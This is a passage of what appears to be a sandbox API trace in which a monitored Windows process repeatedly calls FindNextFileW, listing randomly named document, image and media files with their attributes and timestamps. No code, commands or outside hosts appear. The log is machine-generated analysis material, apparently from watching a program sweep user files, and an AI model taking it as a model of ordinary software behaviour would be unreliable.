cFileName="bv3be5Un8YJj.avi", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="LLAm0.pps", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NnhUiKm1fKnUDbh8LQYp.mp4", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1769e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EqQ64IKq2Th.pptx", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c9a4d6, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c9a4d6, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x111e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WVJ9AocI35l55mCp.jpg", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf281, dwReserved0=0x0, dwReserved1=0x0, cFileName="kmB0a6WlogU.gif", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7UtZQV2KEwEgGRw.csv", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x164b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="pLGCqUlBqdCyIjLjqV.doc", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc484, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oq2biITomiSUVed.odt", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449625fd, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf183, dwReserved0=0x0, dwReserved1=0x0, cFileName="03oNIO07eJKfFtSq1le.pdf", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6dEvdGK0.pptx", cAlternateFileName="")) returned 1 [0040.093] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x79d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqAk5x9DCd1vbqL.xls", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xff02, dwReserved0=0x0, dwReserved1=0x0, cFileName="les739ApbVb9h5NbQG.png", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="0c5f9ps.odt", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf510, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUAALsfvQ.odp", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x107bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyGa2UNby.ots", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xce96, dwReserved0=0x0, dwReserved1=0x0, cFileName="NrdJUxDyhDG3y7Oab1mj.flv", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HwIsy.png", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYsglM.bmp", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mro5NomIUcrU.gif", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17ae3, dwReserved0=0x0, dwReserved1=0x0, cFileName="6IeyZTL6ti1EIr3r.csv", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe624, dwReserved0=0x0, dwReserved1=0x0, cFileName="XP77ZtgAwnoAMmLb.odt", cAlternateFileName="")) returned 1 [0040.094] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z5eu5ng8aXBTiqaLM.odt", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1463b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cYAzuw.flv", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17088, dwReserved0=0x0, dwReserved1=0x0, cFileName="ouLbzd5zuNL.xlsx", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x95ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ziRSYvhMQo.gif", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1287d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ziDfPcXQbWyMR.mkv", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16553, dwReserved0=0x0, dwReserved1=0x0, cFileName="XsxuUpRBb.png", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11336, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZyT73XuoM.png", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x118b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="F2MyXNYBvTRkVNI7iEZq.ods", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="YfJ9v2Plxllw22M.pps", cAlternateFileName="")) returned 1 [0040.095] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4fa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="17V0s09qqy.m4a", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="lhOcmpk4G7IYSvvb.gif", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x546b, dwReserved0=0x0, dwReserved1=0x0, cFileName="XAdhL2WimPIvd1az2SF4.avi", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13931, dwReserved0=0x0, dwReserved1=0x0, cFileName="f8MOguJ.mkv", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11953, dwReserved0=0x0, dwReserved1=0x0, cFileName="MvTzQbxzFuteK4.avi", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="woWNv.ods", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17183, dwReserved0=0x0, dwReserved1=0x0, cFileName="0sa57fW.pptx", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11e19, dwReserved0=0x0, dwReserved1=0x0, cFileName="O2TDqFynLaMJwyS.avi", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4f21, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2U2YlUMt.gif", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e8sPU7Zk.ots", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hRvB1xDrUsAHG.flv", cAlternateFileName="")) returned 1 [0040.096] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6047, dwReserved0=0x0, dwReserved1=0x0, cFileName="vnG2KifH.xlsx", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xcc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="foUlybK2h.xlsx", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="IZnOWmy.gif", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1FCq528Tci.avi", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe48a, dwReserved0=0x0, dwReserved1=0x0, cFileName="6IOKuPykR.odp", cAlternateFileName="")) returned 1 [0040.097] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: 